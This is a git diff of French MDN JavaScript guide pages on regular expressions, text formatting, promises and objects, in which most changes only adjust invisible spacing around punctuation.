@@ Les assertions indiquent les conditions selon lesquelles il est possible d'avoir seulement si celui-ci n'est pas précédé d'un signe moins.<br /><code >/(?<!-)\d+/.exec('3')</code > - cible "3".<br /> <code>/(?<!-)\d+/.exec('-3')</code> ne trouve + cible "3".<br /> <code>/(?<!-)\d+/.exec('-3')</code> ne trouve aucune correspondance car le nombre est précédé d'un signe </p> </td> diff --git a/files/fr/web/javascript/guide/regular_expressions/character_classes/index.md b/files/fr/web/javascript/guide/regular_expressions/character_classes/index.md index 1d37d5b70d..a961431760 100644 --- a/files/fr/web/javascript/guide/regular_expressions/character_classes/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/character_classes/index.md @@ -32,8 +32,8 @@ Les classes de caractères permettent de distinguer différents ensembles de car un caractère de saut de ligne. </p> <p> - Ainsi, <code>/.n/</code> correspond à 'un' et 'en' dans "Un baobab - nain en cours de croissance" mais pas à 'nain'. + Ainsi, <code>/.n/</code> correspond à 'un' et 'en' dans "Un baobab + nain en cours de croissance" mais pas à 'nain'. </p> <p> Si le marqueur <code>s</code> (<em>dotAll</em>) est utilisé, le point @@ -114,7 +114,7 @@ Les classes de caractères permettent de distinguer différents ensembles de car >. </p> <p> - Ainsi, <code>/\s\w*/</code> correspond à ' toto' dans "truc toto". + Ainsi, <code>/\s\w*/</code> correspond à ' toto' dans "truc toto". </p> </td> </tr> diff --git a/files/fr/web/javascript/guide/regular_expressions/cheatsheet/index.md b/files/fr/web/javascript/guide/regular_expressions/cheatsheet/index.md index e0abf47c98..0810295fe6 100644 --- a/files/fr/web/javascript/guide/regular_expressions/cheatsheet/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/cheatsheet/index.md @@ -121,7 +121,7 @@ Cette page fournit une « antisèche » sur l'ensemble des fonctionnal </td> <td> <p> - Correspond à un caractère de contrôle représenté par sa <a href="https://fr.wikipedia.org/wiki/Notation_caret">notation caret</a>, où "X" est une lettre de A à Z (correspondant respectivement aux points de code <code>U+0001</code><em> à </em><code>U+001F</code>). Ainsi, <code>/\cM/</code> correspondra à "\r" dans "\r\n". + Correspond à un caractère de contrôle représenté par sa <a href="https://fr.wikipedia.org/wiki/Notation_caret">notation caret</a>, où "X" est une lettre de A à Z (correspondant respectivement aux points de code <code>U+0001</code><em> à </em><code>U+001F</code>). Ainsi, <code>/\cM/</code> correspondra à "\r" dans "\r\n". </p> </td> </tr> diff --git a/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.md b/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.md index 1233a65060..6c35be5342 100644 --- a/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.md @@ -46,7 +46,7 @@ Les groupes et intervalles permettent de représenter des groupes ou des interva pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre - l'exemple qui suit.<br /><br />Le motif <code>[a-d]</code>, aura les + l'exemple qui suit.<br /><br />Le motif <code>[a-d]</code>, aura les mêmes correspondances que <code>[abcd]</code>, correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis <code>/[a-z.]+/ </code>et <code>/[\w.]+/</code> correspondront pour la chaîne entirère : diff --git a/files/fr/web/javascript/guide/regular_expressions/index.md b/files/fr/web/javascript/guide/regular_expressions/index.md index 2010b7ff34..d97bc904e4 100644 --- a/files/fr/web/javascript/guide/regular_expressions/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/index.md @@ -631,7 +631,7 @@ Afin d'échapper les informations saisies par l'utilisateur et de traîter les c function escapeRegExp(string){ // $& correspond à la chaîne correspondante // dans son intégralité - return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } ``` @@ -645,13 +645,13 @@ Les parenthèses encadrant une partie du motif de l'expression régulière peuve Ainsi, le motif `/Chapitre (\d+)\.\d*/` utilise des caractères échappés et spéciaux et indique une partie du motif à garder en mémoire. Ce motif correspond aux caractères 'Chapitre ' suivi par un ou plusieurs caractères numériques (`\d` correspond à un chiffre et `+` indiquant que une série de 1 ou plusieurs chiffres), suivis par un point (qu'il est nécessaire d'échapper car c'est un caractère spécial, on utilise donc '\\' pour indiquer qu'on souhaite reconnaître le caractère '.'), suivi par 0 ou plusieurs chiffres (`\d` correspondant à un chiffre et l'astérisque indiquant que le caractère est présent 0 ou plusieurs fois). Les parenthèses sont utilisées pour garder en mémoire les premiers chiffres correspondant. -Ce motif est trouvé dans "Ouvrir le Chapitre 4.3 au paragraphe 6" et le chiffre '4' est gardé en mémoire. Le motif n'est pas trouvé dans "Chapitre 3 et 4", car la chaîne de caractères ne comporte pas de point après le '3'. +Ce motif est trouvé dans "Ouvrir le Chapitre 4.3 au paragraphe 6" et le chiffre '4' est gardé en mémoire. Le motif n'est pas trouvé dans "Chapitre 3 et 4", car la chaîne de caractères ne comporte pas de point après le '3'. Pour qu'une partie de la chaîne de caractère corresponde mais que la correspondance ne soit pas gardée en mémoire, on pourra utiliser `?:`. Ainsi, `(?:\d+)` correspondra pour une séquence de chiffres (1 ou plusieurs chiffres) mais on ne gardera pas en mémoire les caractères correspondants. ## Utiliser les expressions rationnelles -Les expresssions régulières sont utilisées avec les méthodes `test` et `exec` de l'objet `RegExp` et avec les méthodes `match`, `replace`, `search`, et `split` de l'objet `String`. Ces méthodes sont expliquées en détail dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). +Les expresssions régulières sont utilisées avec les méthodes `test` et `exec` de l'objet `RegExp` et avec les méthodes `match`, `replace`, `search`, et `split` de l'objet `String`. Ces méthodes sont expliquées en détail dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). | Méthode | Description | | -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -843,7 +843,7 @@ pour obtenir le même résultat. Le comportement du marqueur `'g'` est différent selon qu'il est utilisé avec [`exec()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/exec) ou avec [`match()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match). Pour `match()`, c'est la chaîne de caractères qui invoque la méthode et l'expression rationnelle est alors un argument. Pour `exec()`, c'est l'expression rationnelle qui invoque la méthode et c'est la chaîne de caractères qui est passée en argument. Dans l'appel à `exec()`, le marqueur `'g'` permet d'avoir une progression itérative. -Le marqueur `m` pourra être utilisé pour traiter une chaîne de caractères de plusieurs lignes comme plusieurs lignes distinctes. Si ce marqueur est utilisé, les caractères spéciaux `^` et `$` correspondront au début ou à la fin de n'importe quelle ligne appartenant à la chaîne de caractères au lieu de correspondre simplement au début ou à la fin de la chaîne. +Le marqueur `m` pourra être utilisé pour traiter une chaîne de caractères de plusieurs lignes comme plusieurs lignes distinctes. Si ce marqueur est utilisé, les caractères spéciaux `^` et `$` correspondront au début ou à la fin de n'importe quelle ligne appartenant à la chaîne de caractères au lieu de correspondre simplement au début ou à la fin de la chaîne. ## Exemples diff --git a/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.md b/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.md index f7b7b5c99c..732a3113f9 100644 --- a/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.md @@ -42,34 +42,34 @@ Les séquences d'échappement pour les propriétés Unicode permettent de distin | `\p{Dash_Punctuation} \p{UnicodePropertyName=Dash_Punctuation}` | | | `\p{Decimal_Number} \p{UnicodePropertyName=Decimal_Number}` | | | `\p{Enclosing_Mark} \p{UnicodePropertyName=Enclosing_Mark}` | | -| `\p{Final_Punctuation} \p{UnicodePropertyName=Final_Punctuation}` | | -| `\p{Format} \p{UnicodePropertyName=Format}` | | -| `\p{Initial_Punctuation} \p{UnicodePropertyName=Initial_Punctuation}` | | -| `\p{Letter} \p{UnicodePropertyName=Letter}` | | -| `\p{Letter_Number} \p{UnicodePropertyName=Line_Separator}` | | -| `\p{Lowercase_Letter} \p{UnicodePropertyName=Lowercase_Letter}` | | -| `\p{Mark} \p{UnicodePropertyName=Mark}` | | -| `\p{Math_Symbol;} \p{UnicodePropertyName=Math_Symbol}` | | -| `\p{Modifier_Letter} \p{UnicodePropertyName=Modifier_Letter}` | | -| `\p{Modifier_Symbol} \p{UnicodePropertyName=Modifier_Symbol}` | | -| `\p{Nonspacing_Mark} \p{UnicodePropertyName=Nonspacing_Mark}` | | -| `\p{Number} \p{UnicodePropertyName=Number}` | | -| `\p{Open_Punctuation} \p{UnicodePropertyName=Open_Punctuation}` | | -| `\p{Other} \p{UnicodePropertyName=Other_Letter}` | | -| `\p{Other_Letter} \p{UnicodePropertyName=Other_Letter}` | | -| `\p{Other_Number} \p{UnicodePropertyName=Other_Number}` | | -| `\p{Other_Punctuation} \p{UnicodePropertyName=Other_Punctuation}` | | -| `\p{Paragraph_Separator} \p{UnicodePropertyName=Paragraph_Separator}` | | -| `\p{Private_Use}`Meaning `\p{UnicodePropertyName=Private_Use}` | | -| `\p{Punctuation} \p{UnicodePropertyName=Punctuation}` | | -| `\p{Separator} \p{UnicodePropertyName=Separator}` | | -| `\p{Space_Separator} \p{UnicodePropertyName=Space_Separator}` | | -| `\p{Spaceing_Mark} \p{UnicodePropertyName=Spacing_Mark}` | | -| `\p{Surrogate} \p{UnicodePropertyName=Surrogate}` | | -| `\p{Symbol} \p{UnicodePropertyName=Symbol}` | | -| `\p{Titlecase_Letter} \p{UnicodePropertyName=Titlecase_Letter}` | | -| `\p{Unassigned} \p{UnicodePropertyName=Unassigned}` | | -| `\p{Uppercase_Letter} \p{UnicodePropertyName=UppercaseLetter}` | | +| `\p{Final_Punctuation} \p{UnicodePropertyName=Final_Punctuation}` | | +| `\p{Format} \p{UnicodePropertyName=Format}` | | +| `\p{Initial_Punctuation} \p{UnicodePropertyName=Initial_Punctuation}` | | +| `\p{Letter} \p{UnicodePropertyName=Letter}` | | +| `\p{Letter_Number} \p{UnicodePropertyName=Line_Separator}` | | +| `\p{Lowercase_Letter} \p{UnicodePropertyName=Lowercase_Letter}` | | +| `\p{Mark} \p{UnicodePropertyName=Mark}` | | +| `\p{Math_Symbol;} \p{UnicodePropertyName=Math_Symbol}` | | +| `\p{Modifier_Letter} \p{UnicodePropertyName=Modifier_Letter}` | | +| `\p{Modifier_Symbol} \p{UnicodePropertyName=Modifier_Symbol}` | | +| `\p{Nonspacing_Mark} \p{UnicodePropertyName=Nonspacing_Mark}` | | +| `\p{Number} \p{UnicodePropertyName=Number}` | | +| `\p{Open_Punctuation} \p{UnicodePropertyName=Open_Punctuation}` | | +| `\p{Other} \p{UnicodePropertyName=Other_Letter}` | | +| `\p{Other_Letter} \p{UnicodePropertyName=Other_Letter}` | | +| `\p{Other_Number} \p{UnicodePropertyName=Other_Number}` | | +| `\p{Other_Punctuation} \p{UnicodePropertyName=Other_Punctuation}` | | +| `\p{Paragraph_Separator} \p{UnicodePropertyName=Paragraph_Separator}` | | +| `\p{Private_Use}`Meaning `\p{UnicodePropertyName=Private_Use}` | | +| `\p{Punctuation} \p{UnicodePropertyName=Punctuation}` | | +| `\p{Separator} \p{UnicodePropertyName=Separator}` | | +| `\p{Space_Separator} \p{UnicodePropertyName=Space_Separator}` | | +| `\p{Spaceing_Mark} \p{UnicodePropertyName=Spacing_Mark}` | | +| `\p{Surrogate} \p{UnicodePropertyName=Surrogate}` | | +| `\p{Symbol} \p{UnicodePropertyName=Symbol}` | | +| `\p{Titlecase_Letter} \p{UnicodePropertyName=Titlecase_Letter}` | | +| `\p{Unassigned} \p{UnicodePropertyName=Unassigned}` | | +| `\p{Uppercase_Letter} \p{UnicodePropertyName=UppercaseLetter}` | | ### Binaires diff --git a/files/fr/web/javascript/guide/text_formatting/index.md b/files/fr/web/javascript/guide/text_formatting/index.md index b67205a859..e1c86d6127 100644 --- a/files/fr/web/javascript/guide/text_formatting/index.md +++ b/files/fr/web/javascript/guide/text_formatting/index.md @@ -14,22 +14,22 @@ Ce chapitre présente comment travailler avec les chaînes de caractères et le ## Les chaînes de caractères -Le type {{Glossary("String")}} de JavaScript est utilisé pour représenter des données textuelles. C'est un ensemble d'"éléments" de valeurs non signées sur 16 bits (unités de codage UTF-16). Chaque élément dans la chaîne de caractères occupe une position dans la chaîne de caractères. Le premier élément se trouve à l'indice 0, le suivant à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères est le nombre d'éléments qu'elle contient. Vous pouvez créer des chaînes de caractères en utilisant des littéraux de chaîne de caractères ou des objets chaîne de caractères. +Le type {{Glossary("String")}} de JavaScript est utilisé pour représenter des données textuelles. C'est un ensemble d'"éléments" de valeurs non signées sur 16 bits (unités de codage UTF-16). Chaque élément dans la chaîne de caractères occupe une position dans la chaîne de caractères. Le premier élément se trouve à l'indice 0, le suivant à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères est le nombre d'éléments qu'elle contient. Vous pouvez créer des chaînes de caractères en utilisant des littéraux de chaîne de caractères ou des objets chaîne de caractères. ### Les littéraux de chaînes de caractères -Vous pouvez créer des chaînes de caractères simple en utilisant des apostrophes simples ou doubles : +Vous pouvez créer des chaînes de caractères simple en utilisant des apostrophes simples ou doubles : ```js 'machin' "truc" ``` -Des chaînes plus avancées peuvent être créées en utilisant des séquences d'échappement. +Des chaînes plus avancées peuvent être créées en utilisant des séquences d'échappement. #### Les séquences d'échappement hexadécimales -Le nombre situé après \x est interprété comme un nombre [hexadécimal](https://fr.wikipedia.org/wiki/Syst%C3%A8me_hexad%C3%A9cimal) : +Le nombre situé après \x est interprété comme un nombre [hexadécimal](https://fr.wikipedia.org/wiki/Syst%C3%A8me_hexad%C3%A9cimal) : ```js '\xA9' // "©" @@ -37,15 +37,15 @@ Le nombre situé après \x est interprété comme un nombre [hexadécimal](http #### Les séquences d'échappement Unicode -Les séquences d'échappement Unicode requièrent au moins quatres caractères hexadécimaux après \u. +Les séquences d'échappement Unicode requièrent au moins quatres caractères hexadécimaux après \u. ```js '\u00A9' // "©" ``` -#### L'échappement d'unités de codage Unicode +#### L'échappement d'unités de codage Unicode -Nouveau dans ECMAScript 2015. Avec les échappements d'unités de codage Unicode, tout caractère peut être échappé en utilisant des nombres hexadécimaux, de sorte qu'il est possible de d'utiliser des unités de codage Unicode jusqu'à `0x10FFFF`. Avec les échappements Unicode simples, il est souvent nécessaire d'écrire les moitiés de remplacement séparément pour obtenir le même résultat. +Nouveau dans ECMAScript 2015. Avec les échappements d'unités de codage Unicode, tout caractère peut être échappé en utilisant des nombres hexadécimaux, de sorte qu'il est possible de d'utiliser des unités de codage Unicode jusqu'à `0x10FFFF`. Avec les échappements Unicode simples, il est souvent nécessaire d'écrire les moitiés de remplacement séparément pour obtenir le même résultat. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}. @@ -58,15 +58,15 @@ Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.co ### Les objets String -L'objet {{jsxref("String")}} est un conteneur autour du type de donnée primitif chaîne de caractères. +L'objet {{jsxref("String")}} est un conteneur autour du type de donnée primitif chaîne de caractères. var s = new String('foo'); // crée un objet String console.log(s); // affiche : {'0': 'f', '1': 'o', '2': 'o'} typeof s; // retourne 'object' -Vous pouvez appeler chacune des méthodes de l'objet `String` avec une valeur littérale de chaîne de caractères : JavaScript convertira automatiquement le littéral en un objet `String` temporaire, appellera la méthode, puis supprimera l'objet `String` temporaire. Vous pouvez aussi utiliser la propriété `String.length` sur un littéral de chaîne de caractères. +Vous pouvez appeler chacune des méthodes de l'objet `String` avec une valeur littérale de chaîne de caractères : JavaScript convertira automatiquement le littéral en un objet `String` temporaire, appellera la méthode, puis supprimera l'objet `String` temporaire. Vous pouvez aussi utiliser la propriété `String.length` sur un littéral de chaîne de caractères. -Vous devriez utiliser des littéraux de chaîne de caractères, à moins que vous n'ayez spécifiquement besoin d'un objet `String`, parce que les objets `String` peuvent avoir un comportement contre-intuitif : +Vous devriez utiliser des littéraux de chaîne de caractères, à moins que vous n'ayez spécifiquement besoin d'un objet `String`, parce que les objets `String` peuvent avoir un comportement contre-intuitif : ```js var s1 = '2 + 2'; // crée une valeur de chaîne de caractères @@ -75,7 +75,7 @@ eval(s1); // renvoie le nombre 4 eval(s2); // renvoie la chaîne "2 + 2" ``` -Un objet `String` possède une propriété, `length`, qui indique le nombre d'unités de codage UTF-16 dans la chaîne de caractères. Par exemple, le code suivant affecte à `x` la valeur 16, parce que la chaîne "Bonjour, Monde !" contient 16 caractères, chacun représenté par une unité de codage UTF-16. Vous pouvez accéder à chaque unité de codage en utilisant une syntaxe de tableau entre crochets. Vous ne pouvez pas changer les caractères, du fait que les chaînes sont des objets immuables (semblables à des tableaux) : +Un objet `String` possède une propriété, `length`, qui indique le nombre d'unités de codage UTF-16 dans la chaîne de caractères. Par exemple, le code suivant affecte à `x` la valeur 16, parce que la chaîne "Bonjour, Monde !" contient 16 caractères, chacun représenté par une unité de codage UTF-16. Vous pouvez accéder à chaque unité de codage en utilisant une syntaxe de tableau entre crochets. Vous ne pouvez pas changer les caractères, du fait que les chaînes sont des objets immuables (semblables à des tableaux) : ```js var machaine = 'Bonjour, Monde !'; @@ -84,11 +84,11 @@ machaine[0] = 'L'; // cela n'a aucun effet car les chaînes sont immuables machaine[0]; // cela renvoie "B" ``` -Les caractères dont les valeurs scalaires sont supérieures à U+FFFF (comme certains rares caractères chinois/japonais/coréens/vietnamiens et certains emojis) sont stockés en UTF-16 via deux unités de codage de remplacement. Par exemple, une chaîne de caractères contenant le seul caractère U+1F600 ("Emoji grinning face") aura une longueur de 2. Le fait d'accéder aux unités de codage individuelles dans une telle chaîne de caractères en utilisant des crochets peut avoir des conséquences indésirables telles que la génération d'unité de codage de remplacement non conformes, en violation du standard Unicode. (Des exemples devraient être ajoutés à cette page après que le bug MDN 857438 sera corrigé. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}. +Les caractères dont les valeurs scalaires sont supérieures à U+FFFF (comme certains rares caractères chinois/japonais/coréens/vietnamiens et certains emojis) sont stockés en UTF-16 via deux unités de codage de remplacement. Par exemple, une chaîne de caractères contenant le seul caractère U+1F600 ("Emoji grinning face") aura une longueur de 2. Le fait d'accéder aux unités de codage individuelles dans une telle chaîne de caractères en utilisant des crochets peut avoir des conséquences indésirables telles que la génération d'unité de codage de remplacement non conformes, en violation du standard Unicode. (Des exemples devraient être ajoutés à cette page après que le bug MDN 857438 sera corrigé. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}. -Un objet String a une grande variété de méthodes : par exemple, celles qui retournent une variation de la chaîne de caractères elle-même, telles que `substring` et `toUpperCase`. +Un objet String a une grande variété de méthodes : par exemple, celles qui retournent une variation de la chaîne de caractères elle-même, telles que `substring` et `toUpperCase`. -Le tableau suivant résume les méthodes des objets {{jsxref("String")}}. +Le tableau suivant résume les méthodes des objets {{jsxref("String")}}. #### Méthodes de `String` @@ -178,7 +178,7 @@ Le tableau suivant résume les méthodes des objets {{jsxref("String")}}. </tr> <tr> <td> - {{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, + {{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}} </td> @@ -191,7 +191,7 @@ Le tableau suivant résume les méthodes des objets {{jsxref("String")}}. </td> <td> <p> - Retourne la chaîne tout en minuscules ou tout en majuscules, + Retourne la chaîne tout en minuscules ou tout en majuscules, respectivement. </p> </td> @@ -219,13 +219,13 @@ Le tableau suivant résume les méthodes des objets {{jsxref("String")}}. ### Les littéraux de modèle multi-lignes -Le [littéraux de modèle](/fr/docs/Web/JavaScript/Reference/Litt%C3%A9raux_gabarits) sont des littéraux de chaîne de caractères permettant des expressions intégrées. Avec eux, vous pouvez utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation de chaînes. +Le [littéraux de modèle](/fr/docs/Web/JavaScript/Reference/Litt%C3%A9raux_gabarits) sont des littéraux de chaîne de caractères permettant des expressions intégrées. Avec eux, vous pouvez utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation de chaînes. -Les littéraux de gabarits sont délimités par des [accents graves](https://fr.wikipedia.org/wiki/Accent_grave) (ou _backticks\` \`_ en anglais), au lieu des apostrophes simples ou doubles. Les littéraux de modèle peuvent contenir des marque-places. Ceux-ci sont indiqués par le signe dollar et des accolades (`${expression}`). +Les littéraux de gabarits sont délimités par des [accents graves](https://fr.wikipedia.org/wiki/Accent_grave) (ou _backticks\` \`_ en anglais), au lieu des apostrophes simples ou doubles. Les littéraux de modèle peuvent contenir des marque-places. Ceux-ci sont indiqués par le signe dollar et des accolades (`${expression}`). #### Multi-lignes -Tout caractère de passage à la ligne inséré dans le source fait partie du littéral de modèle. En utilisant les chaînes de caractères normales, vous auriez eu à utiliser la syntaxe suivante afin d'avoir des chaînes de caractères multi-lignes : +Tout caractère de passage à la ligne inséré dans le source fait partie du littéral de modèle. En utilisant les chaînes de caractères normales, vous auriez eu à utiliser la syntaxe suivante afin d'avoir des chaînes de caractères multi-lignes : ```js console.log('chaîne ligne de texte 1\n\ @@ -234,7 +234,7 @@ chaîne ligne de texte 2'); // chaîne ligne de texte 2" ``` -Pour obtenir le même effet avec des chaînes de caractères multi-lignes, vous pouvez maintenant écrire : +Pour obtenir le même effet avec des chaînes de caractères multi-lignes, vous pouvez maintenant écrire : ```js console.log(`chaîne ligne de texte 1 @@ -245,7 +245,7 @@ chaîne ligne de texte 2`); #### Expressions intégrées -Pour intégrer des expressions dans des chaînes normales, vous devriez utiliser la syntaxe suivante : +Pour intégrer des expressions dans des chaînes normales, vous devriez utiliser la syntaxe suivante : ```js var a = 5; @@ -255,7 +255,7 @@ console.log('Quinze vaut ' + (a + b) + ' et\npas ' + (2 * a + b) + '.'); // pas 20." ``` -Maintenant, avec les modèles, vous pouvez utiliser du sucre syntaxique rendant plus lisibles les substitutions comme celle-ci : +Maintenant, avec les modèles, vous pouvez utiliser du sucre syntaxique rendant plus lisibles les substitutions comme celle-ci : ```js var a = 5; @@ -265,15 +265,15 @@ console.log(`Quinze vaut ${a + b} et\npas ${2 * a + b}.`); // pas 20." ``` -Pour plus d'informations, voir les [Littéraux de modèles](/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits) dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). +Pour plus d'informations, voir les [Littéraux de modèles](/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits) dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). ## Internationalisation -L'objet {{jsxref("Intl")}} est l'espace de noms pour l'API d'Internationalisation de l'ECMAScript, qui fournit des fonctionnalités de comparaison de chaînes de caractères, de formatage de nombres, et de formatage des dates et heures prenant en compte la langue. Les constructeurs pour les objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}} sont des propriétés de l'objet `Intl`. +L'objet {{jsxref("Intl")}} est l'espace de noms pour l'API d'Internationalisation de l'ECMAScript, qui fournit des fonctionnalités de comparaison de chaînes de caractères, de formatage de nombres, et de formatage des dates et heures prenant en compte la langue. Les constructeurs pour les objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}} sont des propriétés de l'objet `Intl`. -### Formatage date et heure +### Formatage date et heure -L'objet {{jsxref("DateTimeFormat")}} est utile pour formater la date et l'heure. Ce qui suit formate une date en anglais telle qu'utilisée aux États-Unis (le résultat sera différent dans une autre zone horaire). +L'objet {{jsxref("DateTimeFormat")}} est utile pour formater la date et l'heure. Ce qui suit formate une date en anglais telle qu'utilisée aux États-Unis (le résultat sera différent dans une autre zone horaire). ```js var msParJour = 24 * 60 * 60 * 1000; @@ -288,7 +288,7 @@ var dateHeureAmericaine = new Intl.DateTimeFormat("en-US", options).format; console.log(dateHeureAmericaine(_17juillet2014)); // 07/16/14, 5:00 PM PDT ``` -### Formatage des nombres +### Formatage des nombres L'objet {{jsxref("NumberFormat")}} est utile pour formater les nombres, par exemple, les devises : @@ -307,9 +307,9 @@ console.log(decimalesHanRMBEnChine.format(1314.25)); // ￥ 一,三一四.二五 ### Ordonnancement -L'objet {{jsxref("Collator")}} est utile pour comparer et trier des chaînes de caractères. +L'objet {{jsxref("Collator")}} est utile pour comparer et trier des chaînes de caractères. -Par exemple, il y a en fait deux ordres de tri en allemand, _annuaire_ et _dictionnaire_. Annuaire met l'accent sur le son, et c'est comme si "ä", "ö", etc. étaient étendus en "ae", "oe", etc. avant le tri : +Par exemple, il y a en fait deux ordres de tri en allemand, _annuaire_ et _dictionnaire_. Annuaire met l'accent sur le son, et c'est comme si "ä", "ö", etc. étaient étendus en "ae", "oe", etc. avant le tri : ```js var noms = ['Hochberg', 'Hönigswald', 'Holzman']; @@ -321,7 +321,7 @@ console.log(noms.sort(annuaireAllemand.compare).join(', ')); // Affiche "Hochberg, Hönigswald, Holzman" ``` -Certains mots allemands se conjuguent avec des umlauts supplémentaires, de sorte que dans les dictionnaires, le fait d'ignorer les umlauts pour le tri est perceptible (sauf lors du tri de mots ne différant _que_ par des umlauts, comme *schon* avant _schön_). +Certains mots allemands se conjuguent avec des umlauts supplémentaires, de sorte que dans les dictionnaires, le fait d'ignorer les umlauts pour le tri est perceptible (sauf lors du tri de mots ne différant _que_ par des umlauts, comme *schon* avant _schön_). ```js var dictionnaireAllemand = new Intl.Collator('de-DE-u-co-dict'); @@ -331,6 +331,6 @@ console.log(nom.sort(dictionnaireAllemand.compare).join(', ')); // Affiche "Hochberg, Holzman, Hönigswald" ``` -Pour plus d'informations sur l'API {{jsxref("Intl")}}, voir aussi [Introducing the JavaScript Internationalization API](https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/). +Pour plus d'informations sur l'API {{jsxref("Intl")}}, voir aussi [Introducing the JavaScript Internationalization API](https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/). {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}} diff --git a/files/fr/web/javascript/guide/using_promises/index.md b/files/fr/web/javascript/guide/using_promises/index.md index 95b35d1884..c353dbfc00 100644 --- a/files/fr/web/javascript/guide/using_promises/index.md +++ b/files/fr/web/javascript/guide/using_promises/index.md @@ -239,13 +239,13 @@ window.addEventListener("unhandledrejection", event => { ## Envelopper les _callbacks_ des API -Il est possible de créer un objet {{jsxref("Promise")}} grâce à son constructeur. Et même si, idéalement, cela ne devrait pas être nécessaire, certaines API fonctionnent toujours avec des _callbacks_ passés en arguments. C'est notamment le cas de la méthode {{domxref("WindowTimers.setTimeout", "setTimeout()")}} : +Il est possible de créer un objet {{jsxref("Promise")}} grâce à son constructeur. Et même si, idéalement, cela ne devrait pas être nécessaire, certaines API fonctionnent toujours avec des _callbacks_ passés en arguments. C'est notamment le cas de la méthode {{domxref("WindowTimers.setTimeout", "setTimeout()")}} : ```js setTimeout(() => saySomething("10 seconds passed"), 10 * 1000); ``` -Si on mélange des _callbacks_ et des promesses, cela sera problématique. Si `saySomething` échoue ou contient des erreurs, rien n'interceptera l'erreur. +Si on mélange des _callbacks_ et des promesses, cela sera problématique. Si `saySomething` échoue ou contient des erreurs, rien n'interceptera l'erreur. Pour ces fonctions, la meilleure pratique consiste à les _envelopper_ dans des promesses au plus bas niveau possible et de ne plus les appeler directement : @@ -278,7 +278,7 @@ Il est possible de construire une composition séquentielle de la façon suivant Dans ce fragment de code, on réduit un tableau de fonctions asynchrones en une chaîne de promesse équivalente à : `Promise.resolve().then(func1).then(func2);` -On peut également accomplir cela avec une fonction de composition réutilisable : +On peut également accomplir cela avec une fonction de composition réutilisable : ```js const applyAsync = (acc, val) => acc.then(val); @@ -297,7 +297,7 @@ Avec ECMAScript 2017, on peut obtenir une composition séquentielle plus simplem ```js let result; for(const f of [func1, func2, func3]) { - result = await f(result); + result = await f(result); } ``` diff --git a/files/fr/web/javascript/guide/working_with_objects/index.md b/files/fr/web/javascript/guide/working_with_objects/index.md index 9dbfe909e4..09c944c67c 100644 --- a/files/fr/web/javascript/guide/working_with_objects/index.md +++ b/files/fr/web/javascript/guide/working_with_objects/index.md @@ -55,7 +55,7 @@ Les propriétés d'un objet qui n'ont pas été affectées auront la valeur [`un maVoiture.color; // undefined ``` -On peut aussi définir ou accéder à des propriétés JavaScript en utilisant une notation avec les crochets (voir la page sur [les accesseurs de propriétés](/fr/docs/Web/JavaScript/Reference/Operators/Property_Accessors) pour plus de détails). Les objets sont parfois appelés « tableaux associatifs ». Cela peut se comprendre, car chaque propriété est associée avec une chaîne de caractères qui permet d'y accéder. Ainsi, par exemple, on peut accéder aux propriétés de l'objet `maVoiture` de la façon suivante : +On peut aussi définir ou accéder à des propriétés JavaScript en utilisant une notation avec les crochets (voir la page sur [les accesseurs de propriétés](/fr/docs/Web/JavaScript/Reference/Operators/Property_Accessors) pour plus de détails). Les objets sont parfois appelés « tableaux associatifs ». Cela peut se comprendre, car chaque propriété est associée avec une chaîne de caractères qui permet d'y accéder. Ainsi, par exemple, on peut accéder aux propriétés de l'objet `maVoiture` de la façon suivante : ```js maVoiture["fabricant"] = "Ford"; @@ -276,7 +276,7 @@ Les objets peuvent également être créés en utilisant la méthode [`Object.cr ```js // Propriétés pour animal et encapsulation des méthodes let Animal = { - type: "Invertébrés", // Valeur par défaut value of properties + type: "Invertébrés", // Valeur par défaut value of properties afficherType : function() { // Une méthode pour afficher le type Animal console.log(this.type); } 